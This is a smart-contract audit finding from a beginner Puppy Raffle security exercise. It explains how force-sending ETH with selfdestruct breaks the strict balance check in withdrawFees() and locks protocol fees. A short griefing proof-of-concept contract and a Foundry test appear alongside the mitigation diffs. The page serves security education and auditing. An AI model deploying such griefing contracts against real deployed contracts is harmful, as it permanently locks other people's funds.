Puppy Raffle
AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Previous Next
Submission Details
Severity: medium
Valid

Force-Sending ETH via `selfdestruct` Breaks `withdrawFees()` Balance Invariant — Accumulated Fees Locked Forever

h3xu

Force-Sending ETH via selfdestruct Breaks withdrawFees() Balance Invariant — Accumulated Fees Locked Forever

Description

PuppyRaffle.withdrawFees() enforces a strict invariant: address(this).balance == uint256(totalFees). This guard is intended to prevent fee withdrawal while players currently hold deposited ETH in the contract. However, the Solidity selfdestruct opcode can force-send ETH to any contract address without triggering a fallback or receive() function — and without calling any function at all. The contract has no way to reject this ETH or update totalFees accordingly.

An attacker who sends even 1 wei via selfdestruct to PuppyRaffle permanently makes address(this).balance > uint256(totalFees), causing the equality check to fail on every future call to withdrawFees(). The protocol's fee revenue is locked indefinitely.

function withdrawFees() external {
@> require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");
uint256 feesToWithdraw = totalFees;
totalFees = 0;
(bool success,) = feeAddress.call{value: feesToWithdraw}("");
require(success, "PuppyRaffle: Failed to withdraw fees");
}

Risk

Likelihood: High

  • The attack costs only the gas to deploy a sacrificial contract plus 1 wei.

  • It is a one-time, irreversible operation (assuming no contract upgrade mechanism).

  • No special knowledge of the contract's internal state is required.

Impact: High

  • All accumulated totalFees (potentially thousands of ETH over a protocol's lifetime) become permanently unwithdrawable.

  • The feeAddress receives nothing; protocol revenue is lost.

  • Any ETH balances in excess of totalFees are also trapped.

Severity: High

Proof of Concept

// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
​
contract GriefRaffle {
constructor(address payable target) payable {
// Force-send 1 wei to PuppyRaffle, bypassing receive()
// This makes target.balance > totalFees permanently
selfdestruct(target);
}
}
​
// Deploy with: new GriefRaffle{value: 1 wei}(puppyRaffleAddress)
// After deploy: puppyRaffle.withdrawFees() will revert every time

Expected outcome: withdrawFees() reverts with "There are currently players active!" even when no active players exist, because balance = totalFees + 1 wei ≠ totalFees.

Recommended Mitigation

Replace the strict equality check with a greater-than-or-equal comparison, or track active player balance separately from fees:

function withdrawFees() external {
- require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");
+ require(address(this).balance >= uint256(totalFees), "PuppyRaffle: There are currently players active!");
uint256 feesToWithdraw = totalFees;
totalFees = 0;
(bool success,) = feeAddress.call{value: feesToWithdraw}("");
require(success, "PuppyRaffle: Failed to withdraw fees");
}

A more robust solution is to track the active player deposit balance explicitly (uint256 public activeDeposits) and check require(activeDeposits == 0) instead of comparing raw ETH balances.

Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 5 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[M-02] Slightly increasing puppyraffle's contract balance will render `withdrawFees` function useless

## Description An attacker can slightly change the eth balance of the contract to break the `withdrawFees` function. ## Vulnerability Details The withdraw function contains the following check: ``` require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!"); ``` Using `address(this).balance` in this way invites attackers to modify said balance in order to make this check fail. This can be easily done as follows: Add this contract above `PuppyRaffleTest`: ``` contract Kill { constructor (address target) payable { address payable _target = payable(target); selfdestruct(_target); } } ``` Modify `setUp` as follows: ``` function setUp() public { puppyRaffle = new PuppyRaffle( entranceFee, feeAddress, duration ); address mAlice = makeAddr("mAlice"); vm.deal(mAlice, 1 ether); vm.startPrank(mAlice); Kill kill = new Kill{value: 0.01 ether}(address(puppyRaffle)); vm.stopPrank(); } ``` Now run `testWithdrawFees()` - ` forge test --mt testWithdrawFees` to get: ``` Running 1 test for test/PuppyRaffleTest.t.sol:PuppyRaffleTest [FAIL. Reason: PuppyRaffle: There are currently players active!] testWithdrawFees() (gas: 361718) Test result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 3.40ms ``` Any small amount sent over by a self destructing contract will make `withdrawFees` function unusable, leaving no other way of taking the fees out of the contract. ## Impact All fees that weren't withdrawn and all future fees are stuck in the contract. ## Recommendations Avoid using `address(this).balance` in this way as it can easily be changed by an attacker. Properly track the `totalFees` and withdraw it. ```diff function withdrawFees() external { -- require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!"); uint256 feesToWithdraw = totalFees; totalFees = 0; (bool success,) = feeAddress.call{value: feesToWithdraw}(""); require(success, "PuppyRaffle: Failed to withdraw fees"); } ```

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!